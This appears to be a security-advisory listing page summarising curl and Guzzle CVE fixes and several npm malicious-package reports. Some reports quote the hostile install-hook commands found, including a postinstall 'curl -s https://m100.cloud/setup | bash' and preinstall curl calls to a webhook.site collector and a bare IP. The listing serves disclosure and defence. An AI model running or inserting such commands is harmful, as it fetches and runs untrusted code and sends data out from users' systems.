ROOT-OS-DEBIAN-12-CVE-2026-9547 CVE-2026-9547 in rootio-curl - Patched by Root

Root has patched CVE-2026-9547 in the rootio-curl package for Root:Debian:12. Multiple fixed versions available...

macOS 26.x < 26.6 Multiple Vulnerabilities (128067)

The remote host is running a version of macOS / Mac OS X that is 26.x prior to 26.6. It is, therefore, affected by multiple vulnerabilities: - A use-after-free issue was addressed with improved memory management. This issue is fixed in Safari 26.6, iOS 26.6 and iPadOS 26.6, macOS Tahoe 26.6,...

OESA-2026-3172 curl security update

cURL is a computer software project providing a library libcurl and command-line tool curl for transferring data using various protocols. Security Fixes: When asking curl to use a .netrc file to find credentials and at the same time specifying a URL with a usernamewithout a password, like...

OESA-2026-3170 curl security update

cURL is a computer software project providing a library libcurl and command-line tool curl for transferring data using various protocols. Security Fixes: When asking curl to use a .netrc file to find credentials and at the same time specifying a URL with a usernamewithout a password, like...

ROOT-OS-DEBIAN-13-CVE-2026-9079 CVE-2026-9079 in rootio-curl - Patched by Root

Root has patched CVE-2026-9079 in the rootio-curl package for Root:Debian:13. Multiple fixed versions available...

ROOT-OS-DEBIAN-13-CVE-2026-8927 CVE-2026-8927 in rootio-curl - Patched by Root

Root has patched CVE-2026-8927 in the rootio-curl package for Root:Debian:13. Multiple fixed versions available...

GHSA-94PJ-82F3-465W Guzzle: Proxy-Authorization headers can be sent to origin servers

Impact In affected versions, the built-in cURL handlers CurlHandler and CurlMultiHandler put every first-class request header in cURL's origin header list CURLOPTHTTPHEADER. These handlers are the default when the PHP cURL extension is available. They move Proxy-Authorization to the proxy-only li...

Guzzle: Proxy-Authorization headers can be sent to origin servers

Impact In affected versions, the built-in cURL handlers CurlHandler and CurlMultiHandler put every first-class request header in cURL's origin header list CURLOPTHTTPHEADER. These handlers are the default when the PHP cURL extension is available. They move Proxy-Authorization to the proxy-only li...

PT-2026-67327

Name of the Vulnerable Software and Affected Versions guzzlehttp/guzzle versions prior to 7.15.1 Description An information disclosure issue exists in the RedirectMiddleware when the optional allow redirects.referer setting is enabled. During a same-scheme redirect such as HTTPS to HTTPS, the...

Moderate: Red Hat Security Advisory: Red Hat Hardened Images RPMs Security Update

An update for Red Hat Hardened Images RPMs is now available. This update includes the following RPMs: curl: curl-8.21.0-0.1.1.hum1 aarch64, x8664 libcurl-8.21.0-0.1.1.hum1 aarch64, x8664 libcurl-devel-8.21.0-0.1.1.hum1 aarch64, x8664 libcurl-minimal-8.21.0-0.1.1.hum1 aarch64, x8664...

CVE-2026-62234

Grav 2.x prior to 2.0.4 contains an SSRF vulnerability in webhook dispatch where authenticated users with api.webhooks.write can create webhooks using file://, dict://, or gopher:// protocols. This unrestricted protocol handling can be leveraged to read local files, access process information, or...

Malicious code in patchwork-os (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector cc351c90dbe7a3ede9536138db9071a7cc8b2f8b2824b7956f26553e349a72d9 dist/drivers/gemini/index.js line 53 contains a literal curl https://attacker string co-located with an install reference line 286, matching a...

SUSE SLED15 / SLES15 Security Update : curl (SUSE-SU-2026:3043-1)

The remote SUSE Linux SLED15 / SLEDSAP15 / SLES15 / SLESSAP15 host has packages installed that are affected by multiple vulnerabilities as referenced in the SUSE-SU-2026:3043-1 advisory. This update for curl fixes the following issues - CVE-2026-8286: wrong STARTTLS connection reuse bsc1268402. -...

MAL-2026-10682 Malicious code in code-formatter-setup (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 29eac23cdb5855a900e15c2d86231de29d9985573f90f819f9d4ba08425b9042 package.json declares a postinstall lifecycle hook that runs node -e "require'childprocess'.execSync'curl -s https://m100.cloud/setup | bash'",...

Security update for curl

This update for curl fixes the following issues CVE-2026-8286: wrong STARTTLS connection reuse bsc1268402. CVE-2026-8458: wrong reuse for different services bsc1268407. CVE-2026-8924: traling dot domain super cookie bsc1268409. CVE-2026-8927: env-set cross-proxy Digest auth state leak bsc1268413...

MAL-2026-10675 Malicious code in ac-raf-emitter (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 4a9d9e454c08fdafa531ee74a3bc52513d5bc39413810db4a6371494872984f8 package.json declares a preinstall lifecycle script that runs curl -X POST against a hardcoded webhook.site collector URL...

SUSE SLES15 Security Update : curl (SUSE-SU-2026:2926-1)

The remote SUSE Linux SLES15 / SLESSAP15 host has packages installed that are affected by multiple vulnerabilities as referenced in the SUSE-SU-2026:2926-1 advisory. This update for curl fixes the following issues - CVE-2026-8286: wrong STARTTLS connection reuse bsc1268402. - CVE-2026-8458: wrong...

SUSE SLED15 / SLES15 Security Update : curl (SUSE-SU-2026:2925-1)

The remote SUSE Linux SLED15 / SLEDSAP15 / SLES15 / SLESSAP15 host has packages installed that are affected by multiple vulnerabilities as referenced in the SUSE-SU-2026:2925-1 advisory. This update for curl fixes the following issues - CVE-2026-4873: connection reuse ignores TLS requirement...

ROOT-OS-DEBIAN-11-CVE-2026-12064 CVE-2026-12064 in rootio-curl - Patched by Root

Root has patched CVE-2026-12064 in the rootio-curl package for Root:Debian:11. Multiple fixed versions available...

Malicious code in eslint-angular-react (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector a9a6248527167bc121cdf2c1a874adbc9d433dbe4be2aed160e8abb3eb2ca63b package.json declares a preinstall lifecycle script that runs curl against the hardcoded bare IP http://109.71.252.153:8080/ at npm install time,...